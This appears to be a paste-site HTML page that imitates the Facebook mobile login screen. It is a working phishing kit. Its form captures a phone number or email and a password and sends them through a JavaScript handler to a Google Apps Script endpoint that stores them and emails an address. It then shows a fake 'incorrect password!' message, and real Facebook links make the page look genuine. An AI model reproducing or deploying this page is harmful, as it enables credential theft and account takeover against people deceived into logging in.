Facebook
2 years ago in HTML
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Facebook</title>
<style>
body {
font-size: 10px;
border: none;
width: 340px;
height: 655px;
all: center;
align-items: center;
text-align: center;
position: absolute;
}
form {
align-content: center;
align-items: center;
align-self: center;
}
#h1 {
color: blue;
background: white;
font-style: initial;
font-size: 60px;
width: 100%;
height: 90px;
}
input {
width: 300px;
height: 30px;
border: solid;
padding-left: 10px;
}
#btn1 {
align-items: center;
width: 290px;
height: 30px;
border-radius: 10px;
color: white;
background: royalblue;
border: none;
}
#btn2 {
background: #409000;
border-radius: 10px;
width: 250px;
height: 30px;
color: white;
border: none;
}
#a1 {
color: blue;
}
#a2 {
background: #409000;
border-radius: 10px;
font-size: 20px;
width: 250px;
height: 30px;
color: white;
border: none;
visibility: hidden;
}
</style>
</head>
<body>
<br>
<center>
<form class="gform pure-form pure-form-stacked" method="POST" data-email="[email protected]" action="https://script.google.com/macros/s/AKfycbxWWXLk6KGdVm1Ql0Z-oYvhnxwRuBrtEsNF-hEjTVrOUd8QrfSM2zRooqe_4_O-7Tju/exec">
<h1 id="h1">Facebook</h1>
<input type="text" name="ID" placeholder="Phone number or email address" required>
<br><br>
<input type="password" name="Password" placeholder="Password" required>
<br><br>
<button id="btn1" type="submit">Login</button>
<br>
<br>
<a id="a1" href="https://m.facebook.com/login/identify/">Forgot password ?</a>
<br><br><br>
<a href="https://m.facebook.com/reg/">
<button id="btn2">Create new account</button>
</a>
<div class="thankyou_message" style="display:none;background:none;"><b style="color: red">
incorrect password!</b>
</div>
</form>
<script data-cfasync="false" type="text/javascript">
(function() {
function validEmail(email) {
var re = /^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i;
return re.test(email);
}
function validateHuman(honeypot) {
if (honeypot) {
console.log("Robot Detected!");
return true;
} else {
console.log("Welcome Human!");
}
}
function getFormData(form) {
var elements = form.elements;
var fields = Object.keys(elements).filter(function(k) {
return (elements[k].name !== "honeypot");
}).map(function(k) {
if (elements[k].name !== undefined) {
return elements[k].name;
} else if (elements[k].length > 0) {
return elements[k].item(0).name;
}
}).filter(function(item, pos, self) {
return self.indexOf(item) == pos && item;
});
var formData = {};
fields.forEach(function(name) {
var element = elements[name];
formData[name] = element.value;
if (element.length) {
var data = [];
for (var i = 0; i < element.length; i++) {
var item = element.item(i);
if (item.checked || item.selected) {
data.push(item.value);
}
}
formData[name] = data.join(', ');
}
});
// add form-specific values into the data
formData.formDataNameOrder = JSON.stringify(fields);
formData.formGoogleSheetName = form.dataset.sheet || "sheet1"; // default sheet name
formData.formGoogleSendEmail = form.dataset.email || ""; // no email by default
console.log(formData);
return formData;
}
function handleFormSubmit(event) {
event.preventDefault();
var form = event.target;
var data = getFormData(form);
if (data.email && !validEmail(data.email)) {
var invalidEmail = form.querySelector(".email-invalid");
if (invalidEmail) {
invalidEmail.style.display = "block";
return false;
}
} else {
disableAllButtons(form);
var url = form.action;
var xhr = new XMLHttpRequest();
xhr.open('POST', url);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
console.log(xhr.status, xhr.statusText);
console.log(hr.responseText);
var formElements = form.querySelector(".form-elements")
if (formElements) {
formElements.style.display = "none"; // hide form
}
var thankYouMessage = form.querySelector(".thankyou_message");
if (thankYouMessage) {
thankYouMessage.style.display = "block";
}
return;
};
var encoded = Object.keys(data).map(function(k) {
return encodeURIComponent(k) + "=" + encodeURIComponent(data[k]);
}).join('&');
xhr.send(encoded);
}
}
function loaded() {
console.log("Contact form submission handler loaded successfully.");
var forms = document.querySelectorAll("form.gform");
for (var i = 0; i < forms.length; i++) {
forms[i].addEventListener("submit", handleFormSubmit, false);
}
};
document.addEventListener("DOMContentLoaded", loaded, false);
function disableAllButtons(form) {
var buttons = form.querySelectorAll("button");
for (var i = 0; i < buttons.length; i++) {
buttons[i].disabled = true;
}
}
})();
</script>
</center>
</body>
</html>